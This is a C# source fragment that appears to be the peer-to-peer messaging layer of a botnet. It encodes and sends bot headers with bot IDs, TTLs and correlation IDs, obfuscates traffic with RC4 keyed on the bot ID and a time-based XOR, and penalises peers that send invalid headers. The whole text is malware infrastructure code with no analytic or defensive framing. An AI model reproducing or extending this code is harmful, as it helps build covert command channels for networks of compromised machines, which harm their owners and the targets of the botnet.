private void PackageReceivedEventArgs(object sender, PackageReceivedEventArgs <IPEndPoint> e)
{
var data = e.Payload;
var now = new TimeSpan(DateTime.UtcNow.Ticks);
var minutes = now.TotalMilliseconds / (1000 * 60);
var xor = new Mod2(BitConverter.GetBytes(minutes));
xor.Decrypt(data);
var rc4 = new Rc4(_botId.ToByteArray());
rc4.Decrypt(data);
var botHeader = BotHeader.Decode(data);
if (!IsValidHeader(botHeader))
{
_peerList.Punish(botHeader.BotId);
return;
}
botHeader.EndPoint = e.Proto;
_peerList.UpdatePeer(botHeader.BotId);
Events.Raise(BotPackageReceivedEventArgs, this, new PackageReceivedEventArgs <BotHeader>(botHeader, data));
}
public byte[] Encode()
{
var buffer = new byte[Size];
using (var w = new BinaryWriter(new MemoryStream(buffer)))
{
w.Write(Padding);
w.Write(MessageId);
w.Write(PayloadSize);
w.Write(CorrelationId);
w.Write(Ttl);
w.Write(BotId.ToByteArray());
}
return(buffer);
}
public void Send(short messageId, ulong correlationId, short ttl, byte[] payload, BotIdentifier botId)
{
if (!_peerList.IsRegisteredBot(botId))
{
return;
}
var padding = RandomUtils.NextPadding();
var header = new BotHeader {
CorrelationId = correlationId == 0 ? RandomUtils.NextCorrelationId() : correlationId,
BotId = botId,
MessageId = messageId,
PayloadSize = (short)payload.Length,
Padding = (short)padding.Length,
Ttl = ttl == 0 ? RandomUtils.NextTtl() : ttl
};
var message = BufferUtils.Concat(header.Encode(), padding);
var rc4 = new Rc4(botId.ToByteArray());
rc4.Encrypt(message);
var now = new TimeSpan(DateTime.UtcNow.Ticks);
var minutes = now.TotalMilliseconds / (1000 * 60);
var xor = new Mod2(BitConverter.GetBytes(minutes));
xor.Decrypt(message);
var endPoint = _peerList[botId];
Logger.Verbose(3, "{0}@{1} {2}", header.BotId, endPoint, header.CorrelationId);
_comunicationManager.Send(endPoint, message);
if (correlationId == 0)
{
_waitingForReply.Add(new Package(endPoint, message), correlationId);
}
}